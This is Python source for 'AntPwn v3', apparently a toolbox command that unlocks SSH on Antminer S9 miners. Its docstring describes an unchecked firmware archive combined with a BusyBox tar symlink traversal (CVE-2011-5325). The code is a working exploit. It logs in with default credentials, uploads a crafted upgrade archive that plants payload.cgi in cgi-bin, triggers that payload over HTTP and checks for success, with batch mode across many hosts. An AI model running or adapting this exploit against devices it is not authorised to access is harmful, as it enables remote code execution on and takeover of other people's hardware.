"""
AntPwn v3

Vulnerability:
    * Webinterface allows upgrading firmware by POST request with *.tar.gz to `/cgi-bin/upgrade.cgi`.
      Most files inside the archive are RSA signature checked against a public key residing on miners rootfs.

      fw.tar.gz however is signature-checked in runme.sh, quite late in the process.
      Before execution of runme.sh happens, upgrade.cgi extracts a FILE `version` from the unchecked fw.tar.gz.

      busybox CVE-2011-5325:
      Directory traversal vulnerability in the BusyBox implementation of tar before 1.22.0 v5 allows remote attackers
      to point to files outside the current working directory via a symlink.

      _>
     1. Create symlink `version` to target `/www/pages/cgi-bin` -> Add it to fw.tar
     2. Update the fw.tar archive with a directory and file `version/payload.cgi`
     3. Gzip the resulting tar-file.
     4. On processing in upgrade.cgi, it first extracts the (older) file revision, aka the symlink.
        Then it extracts the more recent version over it, the actual payload file.
        -> We got an arbitrary, executable file in cgi-bin/
     5. Execute the payload via HTTP GET aka `http://antminer/cgi-bin/payload.cgi`
"""

import argparse
import io
import logging
import os
import sys

from getpass import getpass

from bos_toolbox.batch import read_hosts
from bos_toolbox.platform.am1_webif import AntminerWebif
from bos_toolbox.util import get_payload_path

LOG = logging.getLogger(__name__)

DEFAULT_UPGRADE_PATH = get_payload_path('unlock', 'am1_upgrade.tar.gz')
DEFAULT_USERNAME = 'root'
DEFAULT_PASSWORD = 'root'
DEFAULT_PORT = 80

BATCH_PASSWORD_RETRIES = 3


class UnlockStop(Exception):
    pass


def execute(webif: AntminerWebif, upgrade_filepath: str):
    """
    Execute AntPwn v3 exploit

    Args:
        webif: Successfully authenticated instance
        upgrade_filepath: Filepath to upgrade payload

    Returns:
        Returns True on successful exploit, False otherwise
    """
    with io.open(upgrade_filepath, 'rb') as f:
        upgrade_binary = f.read()

    LOG.info('[+] Sending upgrade payload...')
    ret = webif.send_upgrade(upgrade_binary)
    if not ret:
        LOG.error('Failed to send upgrade payload!')
        raise UnlockStop

    LOG.info('[+] Triggering payload...')
    ret = webif.get_page('cgi-bin/payload.cgi')
    if not ret or ret.status_code != 200:
        LOG.error('Failed to trigger payload on remote!')
        raise UnlockStop


def check_compatibility(webif: AntminerWebif):
    system_info = webif.get_system_info()
    if not system_info:
        raise UnlockStop

    miner_type = system_info.get('minertype')
    if not miner_type or not miner_type.startswith('Antminer S9'):
        LOG.warning("Unlock is not supported for '{}'".format(miner_type))
        raise UnlockStop


def check_exploit_success(webif: AntminerWebif) -> bool:
    """
    Generic check, should be implemented in all exploit payloads!

    aka.

    Payload has to write file `AntPwn.html` into <web-root>.
    For antminer that's `/www/pages/`.
    """
    resp = webif.get_page('AntPwn.html')
    return resp and resp.status_code == 200


def run_exploits(webif: AntminerWebif, upgrade_filepath: str):
    """
    Batch execute available exploits until one succeeds or all fail

    Args:
        webif: Instance of authenticated webif
        upgrade_filepath: Filepath to upgrade payload script

    Returns:
        0 on success, 99 on failure
    """
    execute(webif, upgrade_filepath)
    if not check_exploit_success(webif):
        LOG.error('Exploit failed :(')
        raise UnlockStop


def unlock(
    host,
    upgrade_filepath=None,
    username=DEFAULT_USERNAME,
    password=DEFAULT_PASSWORD,
    password_retries=0,
    port=DEFAULT_PORT,
    ssl=False,
):
    upgrade_filepath = upgrade_filepath or DEFAULT_UPGRADE_PATH
    LOG.debug('Loading upgrade payload from {}'.format(upgrade_filepath))

    if not os.path.isfile(upgrade_filepath):
        LOG.error("Upgrade payload '{}' is unavailable".format(upgrade_filepath))
        raise UnlockStop

    webif = AntminerWebif(host, port, ssl)
    LOG.debug('Checking if host on {} is up and auth succeeds...'.format(host))
    if not webif.ensure_host_is_up():
        LOG.error('Host on {} is not reachable'.format(host))
        raise UnlockStop

    for i in range(1, password_retries + 2):
        password = (
            password
            or getpass(
                '{}/{} Try again with web password: '.format(i - 1, password_retries)
            )
            or ''
        )
        if webif.ensure_authentication(username, password):
            break
        LOG.error('Auth credentials for host on {} are wrong'.format(host))
        password = None
    else:
        raise UnlockStop

    check_compatibility(webif)

    LOG.info('Attempting unlock host on {} with AntPwn v3...'.format(host))
    run_exploits(webif, upgrade_filepath)
    LOG.info('Exploit v3 suceeded\n ::: Enjoy!')


def build_arg_parser(parser):
    parser.description = 'Provides unlocking of SSH access for Antminers S9'

    parser.add_argument(
        'hosts',
        nargs='?',
        help='hostname or path to file with hosts of miners with original locked firmware',
    )
    parser.add_argument(
        'upgrade_path',
        nargs='?',
        help='path to upgrade file with payload for miner unlock',
    )
    parser.add_argument(
        '-u', '--username', default=DEFAULT_USERNAME, help='username for webinterface'
    )
    parser.add_argument(
        '-p', '--password', default=DEFAULT_PASSWORD, help='password for webinterface'
    )
    parser.add_argument(
        '--port', type=int, default=DEFAULT_PORT, help='port of antminer webinterface'
    )
    parser.add_argument('--ssl', help='whether to use SSL', action='store_true')


def main(parser, args):
    hosts = read_hosts(args.hosts)
    batch = len(hosts) > 1
    if batch:
        password_retries = BATCH_PASSWORD_RETRIES
    else:
        password_retries = 0

    error = None
    for host in hosts:
        try:
            unlock(
                host,
                args.upgrade_path,
                args.username,
                args.password,
                password_retries,
                args.port,
                args.ssl,
            )
        except UnlockStop as ex:
            # do not stop batch mode when one host fails
            if batch:
                LOG.error('Skipping host on {}!'.format(host))
            if not error:
                # store first error
                error = ex
    if error:
        raise error


if __name__ == '__main__':
    # execute only if run as a script
    parser = argparse.ArgumentParser()
    build_arg_parser(parser)
    # parse command line arguments
    args = parser.parse_args(sys.argv[1:])

    try:
        main(parser, args)
    except UnlockStop:
        sys.exit(1)
